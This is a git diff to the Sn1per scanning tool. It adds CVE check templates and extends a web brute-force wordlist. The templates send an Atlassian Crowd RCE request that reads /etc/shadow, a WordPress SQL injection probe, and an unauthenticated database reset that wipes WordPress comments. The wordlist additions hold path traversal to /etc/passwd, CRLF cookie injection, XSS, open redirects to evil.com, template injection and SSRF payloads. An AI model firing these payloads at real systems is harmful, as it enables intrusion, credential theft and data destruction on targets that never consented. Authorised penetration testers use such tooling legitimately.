+ echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + SSL="false" + PORT="80" + source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh + source $INSTALL_DIR/modes/sc0pe-active-webscan.sh + SSL="true" + PORT="443" + source $INSTALL_DIR/modes/sc0pe-passive-webscan.sh + source $INSTALL_DIR/modes/sc0pe-active-webscan.sh + for file in `ls $INSTALL_DIR/templates/passive/web/recursive/*.sh 2> /dev/null`; do + source $file + done + source $INSTALL_DIR/modes/sc0pe-network-scan.sh + fi source $INSTALL_DIR/modes/sc0pe.sh - echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo "$TARGET" >> $LOOT_DIR/scans/updated.txt - - mv $LOOT_DIR/scans/running-$TARGET-webscan.txt $LOOT_DIR/scans/finished-$TARGET-webscan.txt 2> /dev/null - ls -lh $LOOT_DIR/scans/running-*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + rm -f $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null + ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" diff --git a/sniper b/sniper index a2068d2..94516c0 100755 --- a/sniper +++ b/sniper @@ -569,6 +569,14 @@ function loot { find $LOOT_DIR/nmap/ -type f -size -1c -exec rm -f {} \; cd $LOOT_DIR if [[ -f $SNIPER_PRO ]]; then + wc -l $LOOT_DIR/scans/notifications.txt 2> /dev/null | awk '{print $1}' > $LOOT_DIR/scans/notifications_total.txt 2> /dev/null + cat $LOOT_DIR/scans/tasks-running.txt 2> /dev/null > $LOOT_DIR/scans/tasks-running_total.txt 2> /dev/null + wc -l $LOOT_DIR/scans/tasks.txt 2> /dev/null | awk '{print $1}' 2> /dev/null > $LOOT_DIR/scans/tasks_total.txt 2> /dev/null + wc -l $LOOT_DIR/scans/scheduled/*.sh 2> /dev/null | awk '{print $1}' 2> /dev/null > $LOOT_DIR/scans/scheduled_tasks_total.txt 2> /dev/null + grep "Host\ status" $LOOT_DIR/scans/notifications.txt 2> /dev/null | wc -l | awk '{print $1}' 2> /dev/null > $LOOT_DIR/scans/host_status_changes_total.txt 2> /dev/null + grep "Port\ change" $LOOT_DIR/scans/notifications.txt 2> /dev/null | wc -l | awk '{print $1}' 2> /dev/null > $LOOT_DIR/scans/port_changes_total.txt 2> /dev/null + wc -l $LOOT_DIR/domains/domains_new-*.txt 2> /dev/null | awk '{print $1}' 2> /dev/null > $LOOT_DIR/scans/domain_changes_total.txt 2> /dev/null + cat $LOOT_DIR/web/dirsearch-new-*.txt $LOOT_DIR/web/spider-new-*.txt 2> /dev/null | wc -l | awk '{print $1}' 2> /dev/null > $LOOT_DIR/scans/url_changes_total.txt 2> /dev/null if [[ -f "$LOOT_DIR/notes/notepad.html" ]]; then echo -n "" 2>/dev/null else diff --git a/templates/active/CVE-2019-11580_-_Atlassian_Crowd_Data_Center_Unauthenticated_RCE.sh b/templates/active/CVE-2019-11580_-_Atlassian_Crowd_Data_Center_Unauthenticated_RCE.sh new file mode 100644 index 0000000..b74cde6 --- /dev/null +++ b/templates/active/CVE-2019-11580_-_Atlassian_Crowd_Data_Center_Unauthenticated_RCE.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='CVE-2019-11580 - Atlassian Crowd Data Center Unauthenticated RCE' +URI='/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow' +METHOD='GET' +MATCH='root\:' +SEVERITY='P1 - CRITICAL' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/CVE-2020-11530_-_Wordpress_Chop_Slider_3_Plugin_SQL_Injection.sh b/templates/active/CVE-2020-11530_-_Wordpress_Chop_Slider_3_Plugin_SQL_Injection.sh new file mode 100644 index 0000000..28182d2 --- /dev/null +++ b/templates/active/CVE-2020-11530_-_Wordpress_Chop_Slider_3_Plugin_SQL_Injection.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='CVE-2020-11530 - Wordpress Chop Slider 3 Plugin SQL Injection' +URI='/wp-content/plugins/chopslider/get_script/index.php?id=1111111' +METHOD='GET' +MATCH='chopslider_id_1111111' +SEVERITY='P1 - CRITICAL' +CURL_OPTS="--user-agent '' -s -L --insecure" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/templates/active/CVE-2020-7048_-_WP_Database_Reset_3.15_Unauthenticated_Database_Reset.sh b/templates/active/CVE-2020-7048_-_WP_Database_Reset_3.15_Unauthenticated_Database_Reset.sh new file mode 100644 index 0000000..c7af71d --- /dev/null +++ b/templates/active/CVE-2020-7048_-_WP_Database_Reset_3.15_Unauthenticated_Database_Reset.sh @@ -0,0 +1,9 @@ +AUTHOR='@xer0dayz' +VULN_NAME='CVE-2020-7048 - WP Database Reset 3.15 Unauthenticated Database Reset' +URI='/wp-admin/admin-post.php?db-reset-tables%5B%5D=comments&db-reset-code=11111&db-reset-code-confirm=11111' +METHOD='GET' +MATCH='\/wp-admin\/' +SEVERITY='P2 - HIGH' +CURL_OPTS="--user-agent '' -s -L --insecure -I" +SECONDARY_COMMANDS='' +GREP_OPTIONS='-i' \ No newline at end of file diff --git a/wordlists/web-brute-common.txt b/wordlists/web-brute-common.txt index d5a4205..7ee1a42 100644 --- a/wordlists/web-brute-common.txt +++ b/wordlists/web-brute-common.txt @@ -1,9 +1,11 @@ * ..;/ +/ /* @ _ ~/ +$defaultview?Readviewentries 0 00 01 @@ -17,6 +19,10 @@ _ 09 0admin/ 0admin/login.asp +/%0ASet-Cookie%3Acrlfinjection/.. +/%0ASet-Cookie:crlfinjection=crlfinjection +/%0D%0ASet-Cookie:crlfinjection=crlfinjection +/%0DSet-Cookie:crlfinjection=crlfinjection 0.htpasswd 0manager/ 0manager/admin.asp @@ -28,6 +34,7 @@ _ 1001 101 102 +:10250/pods 103 11 12 @@ -37,6 +44,8 @@ _ 13 14 15 +:15672 +:15672/api/whoami 1990 1991 1992 @@ -51,6 +60,7 @@ _ 1.htaccess 1.htpasswd 1.php +/1.sql 1.sql 1.tar.gz 1.txt @@ -126,8 +136,10 @@ _ 23 24 25 +/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html %2e%2e//google.com %2e%2e;/test +/..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd 2g 2.php 2phpmyadmin/ @@ -137,7 +149,9 @@ _ 30 300 32 +:32000/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22 %3f/ +/%3F%0DSet-Cookie%3Acrlfinjection=crlfinjection 3g 3.php 3rdparty @@ -152,19 +166,44 @@ _ 50 500 51 +:5601/ +:5601/api/timelion/run +:5601/app/kibana/ +/%5Cevil.com 5.php 6 +/%61%27%22%3e%3c%69%6e%6a%65%63%74%61%62%6c%65%3e 64 6.php 7 +:7001/_async/AsyncResponseService +:7001/console/login/LoginForm.jsp 7788.php 7.php .7z 7z 8 +:8080/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development +:8080/api/jsonws +:8080/api/jsonws/invoke +:8080/dashboard/ +:8080/index.jsp +:8080/jolokia/read?mimeType=text/html +:8080/jolokia/version +:8080/manager/html +:8090/jolokia +:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml +:8090/jolokia/list +:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow +:8123/ +:8888/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development 8899.php 8.php 9 +:9090/graph +:9200/_all/_search +:9200/_cat/indices?v +:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini 96 9678.php 9.php @@ -175,10 +214,12 @@ a%5c.aspx aa aaa aadmin/ +/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd abc abc123 abcd abcd1234 +/?a=/bin/sh+-c+ about About about-us @@ -242,6 +283,8 @@ acp act action actions +/actions/seomatic/meta-container/all-meta-containers?uri={{228* +/actions/seomatic/meta-container/meta-link-container/?uri={{228* activate active activeCollab @@ -251,11 +294,53 @@ activex activities activity activity.log +/actuator actuator +/actuator/auditevents +/actuator/auditLog +/actuator/beans +/actuator/caches +/actuator/conditions +/actuator/configprops +/actuator/configurationMetadata +/actuator/dump actuator/dump +/actuator/env actuator/env +/actuator/events +/actuator/exportRegisteredServices +/actuator/features +/actuator/flyway +actuator/health +/actuator/healthcheck +/actuator/heapdump +/actuator/httptrace +/actuator/hystrix.stream +/actuator/integrationgraph +/actuator/jolokia +/actuator/liquibase +/actuator/logfile actuator/logfile +/actuator/loggers +/actuator/loggingConfig +/actuator/management +/actuator/mappings actuator/mappings +/actuator/metrics +/actuator/refresh +/actuator/registeredServices +/actuator/releaseAttributes +/actuator/resolveAttributes +/actuator/scheduledtasks +/actuator/sessions +/actuator/shutdown +/actuator/springWebflow +/actuator/sso +/actuator/ssoSessions +/actuator/statistics +/actuator/status +/actuator/threaddump +/actuator/trace actuator/trace ad adaptive @@ -274,6 +359,8 @@ address/ .addressbook address_book addressbook +AddressBookJ2WB +AddressBookJ2WE/services/AddressBook addresses addtocart adimin/ @@ -359,6 +446,8 @@ admin_admin adminadmin/ admin/admin.asp/ admin/admin.aspx/ +/admin/adminer.php +/adminadminer.php admin/admin.html admin/admin-login admin/admin_login @@ -461,18 +550,116 @@ admin.do admin/download.php admin/dumper/ adminedit +/adminer/ adminer/ +/adminer1.php +/adminer-3.0.0/ +/adminer-3.0.1/ +/adminer-3.1.0/ +/adminer-3.2.0/ +/adminer-3.2.1/ +/adminer-3.2.2/ +/adminer-3.3.0/ +/adminer-3.3.1/ +/adminer-3.3.2/ +/adminer-3.3.3/ +/adminer-3.3.4/ +/adminer-3.4.0/ +/adminer-3.5.0/ +/adminer-3.5.1/ +/adminer-3.6.0/ +/adminer-3.6.1/ +/adminer-3.6.2/ +/adminer-3.6.3/ +/adminer-3.6.4/ +/adminer-3.7.0/ +/adminer-3.7.1/ +/adminer-4.0.0/ +/adminer-4.0.1/ +/adminer-4.0.2/ +/adminer-4.0.3/ +/adminer-4.0.3-mysql.php adminer-4.0.3-mysql.php +/adminer-4.0.3.php adminer-4.0.3.php +/adminer-4.1.0/ +/adminer-4.1.0-mysql.php adminer-4.1.0-mysql.php +/adminer-4.1.0.php adminer-4.1.0.php +/adminer-4.2.0/ +/adminer-4.2.0-mysql.php adminer-4.2.0-mysql.php +/adminer-4.2.0.php adminer-4.2.0.php +/adminer-4.2.1/ +/adminer-4.2.2/ +/adminer-4.2.3/ +/adminer-4.2.4/ +/adminer-4.2.5-en.php +/adminer-4.2.5-mysql-en.php +/adminer-4.2.5-mysql.php +/adminer-4.2.5.php +/adminer-4.3.0-en.php +/adminer-4.3.0-mysql-en.php +/adminer-4.3.0-mysql.php +/adminer-4.3.0.php +/adminer-4.3.1-en.php +/adminer-4.3.1-mysql-en.php +/adminer-4.3.1-mysql.php +/adminer-4.3.1.php +/adminer-4.4.0-en.php +/adminer-4.4.0-mysql-en.php +/adminer-4.4.0-mysql.php +/adminer-4.4.0.php +/adminer-4.5.0-en.php +/adminer-4.5.0-mysql-en.php +/adminer-4.5.0-mysql.php +/adminer-4.5.0.php +/adminer-4.6.0-en.php +/adminer-4.6.0-mysql-en.php +/adminer-4.6.0-mysql.php +/adminer-4.6.0.php +/adminer-4.6.1-en.php +/adminer-4.6.1-mysql-en.php +/adminer-4.6.1-mysql.php +/adminer-4.6.1.php +/adminer-4.6.2-cs.php +/adminer-4.6.2-en.php +/adminer-4.6.2-mysql-en.php +/adminer-4.6.2-mysql.php +/adminer-4.6.2.php +/adminer-4.6.3-en.php +/adminer-4.6.3-mysql-en.php +/adminer-4.6.3-mysql.php +/adminer-4.6.3.php +/adminer-4.7.0-en.php +/adminer-4.7.0-mysql-en.php +/adminer-4.7.0-mysql.php +/adminer-4.7.0.php +/adminer-4.7.1-en.php +/adminer-4.7.1-mysql-en.php +/adminer-4.7.1-mysql.php +/adminer-4.7.1.php +/adminer-4.7.2-en.php +/adminer-4.7.2-mysql-en.php +/adminer-4.7.2-mysql.php +/adminer-4.7.2.php +/adminer-4.7.3-en.php +/adminer-4.7.3-mysql-en.php +/adminer-4.7.3-mysql.php +/adminer-4.7.3.php +/adminer/adminer.php adminer/adminer.php adminer_coverage.ser +/adminer/index.php +/_adminer.php +/adminer.php adminer.php +/admin/error.log admin/error.log admin/error_log +/admin/errors.log admin/error.txt admin/export.php admin/FCKeditor @@ -553,6 +740,7 @@ administratoraccounts/ administrator/admin/ administrator/admin.asp administrator/cache/ +/administrator/components/com_joommyadmin/phpmyadmin/ administrator/db/ administrator/.htaccess administrator.html @@ -595,6 +783,7 @@ admin/js/tiny_mce/ admin/js/tinymce/ adminka.php admin/log +/admin/log/error.log admin-login admin-login/ admin/login @@ -612,6 +801,7 @@ admin_login/admin.asp admin/login.asp admin/login.aspx/ admin/login.htm +/admin/login.html admin-login.html admin/login.html admin_login.html @@ -639,12 +829,14 @@ admin/logs/access.log admin/logs/access_log admin/_logs/err.log admin/logs/err.log +/admin/logs/error.log admin/_logs/error-log admin/_logs/error.log admin/_logs/error_log admin/logs/error-log admin/logs/error.log admin/logs/error_log +/admin/logs/errors.log admin/_logs/login.txt admin/logs/login.txt admin_main @@ -666,6 +858,7 @@ admin.passwd admin.php admin.php/ admin.php3 +/admin//phpmyadmin/ admin/phpmyadmin/ admin/phpMyAdmin admin/phpMyAdmin/ @@ -716,6 +909,7 @@ adminuser admin/userAdmin.aspx/ admin/user_count.txt admin/user.php +/admin/views/ajax/autocomplete/user/a admin/web/ AdminWeb/ admin/webadmin.asp/ @@ -769,6 +963,7 @@ agent agents aggregator AggreSpy +/AirWatch/Login _ajax ajax ajax_cron @@ -778,6 +973,7 @@ akeeba.backend.log alarm alarms album +AlbumCatalogWeb albums alcatel alert @@ -786,7 +982,9 @@ alias aliases all all/ +/_all_dbs all/modules/ogdi_field/plugins/dataTables/extras/TableTools/media/swf/ZeroClipboard.swf +/_all/_search alltime all-wcprops alpha @@ -839,6 +1037,7 @@ apac ~apache apache apache/ +/apache-default/phpmyadmin/ apache/logs/access.log apache/logs/access_log apache/logs/error.log @@ -847,23 +1046,62 @@ apanel apanel/ apc apc/ +/apc/apc.php apc/apc.php apc/index.php apc-nrp.php +/apc.php apc.php .apdisk apexec api api/ +/api/api-docs +/api/apidocs +/api/api-docs/swagger.json +/api/apidocs/swagger.json +/api/api/schema/ +/api/application.wadl apibuild.pyc api-doc +/api/docs/ api-docs +/api-docs/swagger.json api/error_log +/api/index.html +/api/jolokia/read?mimeType=text/html +/api/jsonws +/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData +/api/jsonws/invoke api.log api/login.json apis +/api/snapshots +/api/spec/swagger.json +/api/__swagger__/ +/api/_swagger_/ +/api/swagger +/api/swagger/index.html +/api/swagger.json +/api/swagger-resources +/api/swagger-resources/restservices/v2/api-docs +/api/swagger/static/index.html +/api/swagger/swagger-ui.html +/api/swagger-ui/api-docs +/api/swagger-ui.html api/swagger-ui.html +/api/swagger/ui/index +/api/swagger-ui/swagger.json +/api/swagger.yaml +/api/swagger.yml api/swagger.yml +/api/timelion/run +/api/v1 +/api/v1/application.wadl +/api/v2 +/api/v2/application.wadl +/api/vendor/phpunit/phpunit/phpunit +/api/whoami apl apm app @@ -915,6 +1153,7 @@ app/etc/local.xml.vmachine app/etc/local.xml.vmachine.rm app/.htaccess app.js +/app/kibana/ appl app/languages apple @@ -932,10 +1171,13 @@ application/configs/application.ini application.log application/logs/ applications +/application.wadl application.wadl +/application.wadl?detail=true app/log/ app/logs/ apply +AppManagementStatus AppPackages/ app.php app/phpunit.xml @@ -949,6 +1191,7 @@ AppsLogin apps/__pycache__/ app/src app/storage/ +/apps/vendor/phpunit/phpunit/phpunit app/sys app/testing app_themes @@ -1004,6 +1247,7 @@ as ASALocalRun/ ascii asdf +/asdf.php ashley asia ask @@ -1031,11 +1275,16 @@ _assets assets assets/ assets/fckeditor +/assets/file:%2f%2f/etc/passwd +/assets../.git/config assets/js/fckeditor assets/npm-debug.log asterisk asterisk/ asterisk.log +/_async/AsyncResponseService +/asynchPeople/ +asynchPeople/ at AT-admin.cgi atlassian-ide-plugin.xml @@ -1051,6 +1300,7 @@ auction auctions audio audit +/auditevents auditevents auditevents.json audits @@ -1085,6 +1335,7 @@ auto auto/ autobackup autocheck +/autoconfig autoconfig autoconfig.json autodeploy @@ -1102,6 +1353,8 @@ aux av av/ avatar +/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D +avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D avatars aw award @@ -1166,6 +1419,7 @@ backups.7z backups.inc backups.inc.old backups.old +/backup.sql backup.sql backup.sql.old backups.rar @@ -1180,6 +1434,7 @@ backup.tar backup.tar.bz2 backup.tar.gz backup.tgz +/backup/vendor/phpunit/phpunit/phpunit backup.zip bad_link .bak @@ -1214,6 +1469,8 @@ base/ Base base/admin/ baseball +/base_import/static/c:/windows/win.ini +/base/static/c:/windows/win.ini bash .bash_history .bash_logout @@ -1257,6 +1514,7 @@ bdata be bea bean +/beans beans beans.json beehive @@ -1353,6 +1611,7 @@ bloggers blogindex blogindex/ blog_inlinemod +/blog/phpmyadmin/ blog_report blogs blog_search @@ -1481,10 +1740,12 @@ bx_1c_import.php bypass .bz2 bz2 +.bzr .bzr/ .bzr/README c C +/%c0 %C0%AE%C0%AE%C0%AF c100.php c22.php @@ -1584,6 +1845,7 @@ catch categoria categories category +/_cat/indices?v catinfo CATKIN_IGNORE cats @@ -1630,8 +1892,13 @@ cfg cfg/ cfg/cpp/ cfide +CFIDE CFIDE/ CFIDE/administrator/ +CFIDE/administrator/aboutcf.cfm +CFIDE/administrator/enter.cfm +CFIDE/administrator/index.cfm +CFIDE/administrator/welcome.cfm .cfignore cfm cfusion @@ -1646,10 +1913,13 @@ cgi-bin/awstats.pl cgi-bin/login cgi-bin/login.cgi cgi-bin/logi.php +/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd cgi-bin/php.ini cgi-bin/printenv.pl +/cgi-bin/status cgi-bin/test-cgi cgi-bin/test.cgi +/cgi-bin/test/test.cgi cgi-bin/ViewLog.asp cgi/common.cg cgi/common.cgi @@ -1771,6 +2041,8 @@ ckeditor/ckfinder/ckfinder.html ckeditor/ckfinder/core/connector/asp/connector.asp ckeditor/ckfinder/core/connector/aspx/connector.aspx ckeditor/ckfinder/core/connector/php/connector.php +/ckeditor/samples/ +/ckeditor/samples/sample_posteddata.php ckfinder ckfinder/ ckfinder/ckfinder.html @@ -1803,6 +2075,7 @@ clickout clicks client clientaccesspolicy +clientaccesspolicy.xml ClientAccessPolicy.xml clientapi ClientBin/ @@ -1822,11 +2095,13 @@ clipart clips clk clock +/__clockwork/app close closed closing cloud cloud/ +/cloudfoundryapplication club cluster clusters @@ -1914,6 +2189,7 @@ common/config/api.ini common/config/db.ini commoncontrols common.inc +/common_page/login.html common.xml _common.xsl commun @@ -1952,6 +2228,7 @@ composer.phar compress compressed computer +computer/ computers Computers computing @@ -2042,7 +2319,9 @@ config.php.save config.php.swp config.php.txt config.php.zip +/config/postProcessing/testNaming?pattern=%3Csvg/onload=alert(document.domain)%3E config/producao.ini +/configprops configprops .config/psi+/profiles/default/accounts.xml config.rb @@ -2098,9 +2377,11 @@ connect.inc connections connector connectors +/console console console/ console/base/config.json +/console/login/LoginForm.jsp console/payments/config.json constant constants @@ -2116,6 +2397,7 @@ contact_bean contact-form contactinfo contacto +/contact.php?theme=tes%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E contacts contact-us contact_us @@ -2128,6 +2410,7 @@ content content/ Content content/debug.log +/content../.git/config contents contest contests @@ -2222,6 +2505,7 @@ cpp cp.php .cproject cps +/cp/Shares?user=&protocol=webaccess&v=2.3 cpstyles cpw .cr/ @@ -2266,27 +2550,40 @@ cron_sku.log crontab crontabs crossdomain +/crossdomain.xml crossdomain.xml +/crowd/console/login.action +/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow crs crtr +/crx/de/index.jsp crypt crypto cs cscockpit/ +/+CSCOE+/logon.html +/+CSCOE+/session_password.html +/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ +CSCOU+/../+CSCOE+/files/file_list.json +/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions .csdp.cache csdp.cache cse .cshrc +/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ csproj _css css +/css../.git/config css.php .csv csv .CSV csx/ ct +/CTCWebService/Config1?wsdl +/CTCWebService/CTCWebServiceBean +/CTCWebService/CTCWebServiceBean?wsdl CTestTestfile.cmake ctl culeadora.txt @@ -2347,8 +2644,11 @@ daily dam.php dan dana-na +/dana-na/auth/url_default/welcome.cgi +/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ dark .dart_tool/ +/dashboard/ dashboard dashboard.html dashboard.php @@ -2358,6 +2658,7 @@ _data _data/ data data/ +/data/adminer.php data/backups/ _database database @@ -2380,6 +2681,7 @@ database/phpMyAdmin/ database/phpmyadmin2/ database/phpMyAdmin2/ databases +/database.sql database.sql database.sqlite databases.yml @@ -2404,6 +2706,7 @@ data-nseries.tsv dataobject.ini datas data/sessions/ +/data.sql data.sql data.sqlite data/tmp/ @@ -2438,12 +2741,14 @@ dbase dbbackup/ _db_backups db_backups/ +/db_backup.sql dbboon db_connect db.csv db/db-admin/ db/dbadmin/ db/dbweb/ +/dbdump.sql dbdump.sql dbfix/ db-full.mysql @@ -2473,6 +2778,7 @@ db/phpMyAdmin3/ Db.properties Db.script db_session.init.php +/db.sql db.sql db/sql db.sqlite @@ -2506,6 +2812,7 @@ debug.inc debug.log debug-output.txt debug.php +/debug/pprof/ debug.py debug/rus/autorisation/ debug.txt @@ -2567,6 +2874,7 @@ _derived DerivedData/ DerivedDataCache/ descargas +/descriptorByName/AuditTrailPlugin/regexCheck?value=*j%3Ch1%3Esample design designs desk @@ -2656,6 +2964,7 @@ disdls disk dispatch dispatcher +/dispatcher/invalidate.cache dispatcher/invalidate.cache display display_vvcodes @@ -2754,15 +3063,18 @@ drivers .drone.yml drop dropped +/druid/index.html drupal ds .DS_Store +/.DS_Store .dub _dummy dummy __dummy.html dummy.php .dump +/dump dump dump/ dump.7z @@ -2778,6 +3090,7 @@ dump.rar dump.rdb dumps dumps/ +/dump.sql dump.sql dump.sqlite dump.sql.old @@ -2804,6 +3117,7 @@ e107_admin e107_files e107_handlers e2fs +/%E5%98%8D%E5%98%8ASet-Cookie:crlfinjection=crlfinjection eagle.epf ear easy @@ -2829,6 +3143,8 @@ editaddress edit_link editor editor/ +/editor/ckeditor/samples/ +/editor/ckeditor/samples/sample_posteddata.php .editorconfig editor/FCKeditor editorial @@ -2890,11 +3206,13 @@ emailproduct emails emailsignup emailtemplates +/email/unsubscribed?email=test@gmail.com%27\%22%3E%3Csvg/onload=alert(1337)%3E embed embedd embedded emea emergency +/emergency.php emoticons employee employees @@ -2957,7 +3275,11 @@ entropybanner entry en_us en_US +/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json +en-US/splunkd/__raw/services/server/info/server-info?output_mode=json .env +/.env +/env env env/ ENV/ @@ -2997,16 +3319,19 @@ error.cpp error.ctp error_docs errordocs +/error/error.log error-espanol error.html error_import error.ini .error_log +/error.log error-log error.log error_log errorlog error.log.0 +errorlog.axd error_log.gz error-log.txt error_log.txt @@ -3020,12 +3345,16 @@ errors errors/ errors.asp errors/creation +/errors/errors.log errors/local.xml +/errors.log errors.log errors.tpl +/errors.txt errors.txt error.tmpl error.tpl +/error.txt error.txt error.xml erros @@ -3055,6 +3384,7 @@ etc/hosts etc/lib/pChart2/examples/imageMap/index.php \..\..\..\..\..\..\..\..\..\etc\passwd etc/passwd +/./../../../../../../../../../../etc/shadow ethics eu eudora.ini @@ -3067,7 +3397,14 @@ evb event events Events +/events../.git/config evil +/////evil.com +///;@evil.com +/evil.com/ +//evil.com/%2F.. +//evil.com/..;/css +/evil%E3%80%82com evt ewebeditor ews @@ -3077,10 +3414,16 @@ example.php examples examples/ examples/jsp/%252e%252e/%252e%252e/manager/html/ +/..;/examples/jsp/index.html +/examples/jsp/index.html examples/jsp/snp/snoop.jsp +/..;/examples/servlets/index.html +/examples/servlets/index.html examples/servlet/SnoopServlet examples/servlets/servlet/CookieExample examples/servlets/servlet/RequestHeaderExample +/..;/examples/websocket/index.xhtml +/examples/websocket/index.xhtml excalibur excel exception.log @@ -3100,6 +3443,7 @@ experts expires.conf exploded-archives/ exploits +/explore explore explorer explore/repos @@ -3115,6 +3459,7 @@ ext2 ext/build/ ext/config ext/.deps +/extdirect extension extensions extern @@ -3173,6 +3518,7 @@ fastlane/readme.md fastlane/report.xml fastlane/screenshots fastlane/test_output +/favicon.ico favicon.ico favorite favorites @@ -3199,6 +3545,8 @@ FCKeditor2.3/ FCKeditor23/ FCKeditor2.4/ FCKeditor24/ +/fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php +/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellcheckder.php fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx fckeditor/editor/filemanager/browser/default/connectors/php/connector.php @@ -3211,6 +3559,7 @@ fckeditor/editor/filemanager/connectors/php/upload.php fckeditor/editor/filemanager/upload/asp/upload.asp fckeditor/editor/filemanager/upload/aspx/upload.aspx fckeditor/editor/filemanager/upload/php/upload.php +/fckeditor/_samples/default.html fdcp feature featured @@ -3242,6 +3591,7 @@ filelist file_manager/ filemanager filemanager/ +/filemanager/upload.php filemanager/views/js/ZeroClipboard.swf .filemgr-tmp file.php @@ -3277,10 +3627,14 @@ file_upload.shtm filez .filezilla/ .filezilla/sitemanager.xml.xml +/filezilla.xml filezilla.xml +/FileZilla.xml film films filter +/filter/jmol/iframe.php?_USE=%22 +/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd finance financial find @@ -3369,6 +3723,7 @@ forumdata forumdisplay forum/install/install.php forum_old +/forum/phpmyadmin/ forum.rar forums forums/ @@ -3445,6 +3800,8 @@ fusion future fw fwlink +/fw.login.php +/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; fx g G @@ -3497,6 +3854,7 @@ gestione get getaccess getconfig +/getFavicon?host=burpcollaborator.net get-file get_file getfile @@ -3544,6 +3902,7 @@ github-recovery-codes.txt .gitlab gitlab gitlab/ +/gitlab/build_now%3Csvg/onload=alert(1337)%3E .gitlab-ci.yml .gitlab/issue_templates .gitlab/merge_request_templates @@ -3577,6 +3936,8 @@ global.asax.orig global.asax.temp global.asax.tmp globalnav +/global-protect/login.esp +global-protect/portal/css/login.css globals globals.inc globes_admin @@ -3617,13 +3978,16 @@ grafik grant granted grants +/graph graph graphics Graphics +/graphiql graphiql/ graphiql.php graphite graphite/ +/graphql graphql graphql/ graphql/console/ @@ -3663,6 +4027,7 @@ guest guestbook guests guest-tracking +/guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E gui guide guidelines @@ -3719,6 +4084,7 @@ health Health healthcare health.json +/heapdump heapdump heapdump.json hello @@ -3729,6 +4095,7 @@ help_answer helpdesk helper helpers +/help/index.jsp?view=%3Cscript%3Ealert(document.cookie)%3C/script%3E .hg .hg/ .hg/dirstate @@ -3786,6 +4153,7 @@ hosting host-manager host-manager/ host-manager/html +/{{Hostname hosts hotel hotels @@ -3804,12 +4172,14 @@ hpwebjetadmin/ hr .hsenv hs_err_pid.log +/hsqldb%0a ht .hta hta !.htaccess .htaccess .htaccess~ +/.htaccess htaccess.backup .htaccess.bak htaccess.bak @@ -3895,6 +4265,7 @@ humor hyper .hypothesis/ hystrix +/hystrix.stream i I ia @@ -3981,11 +4352,13 @@ images1 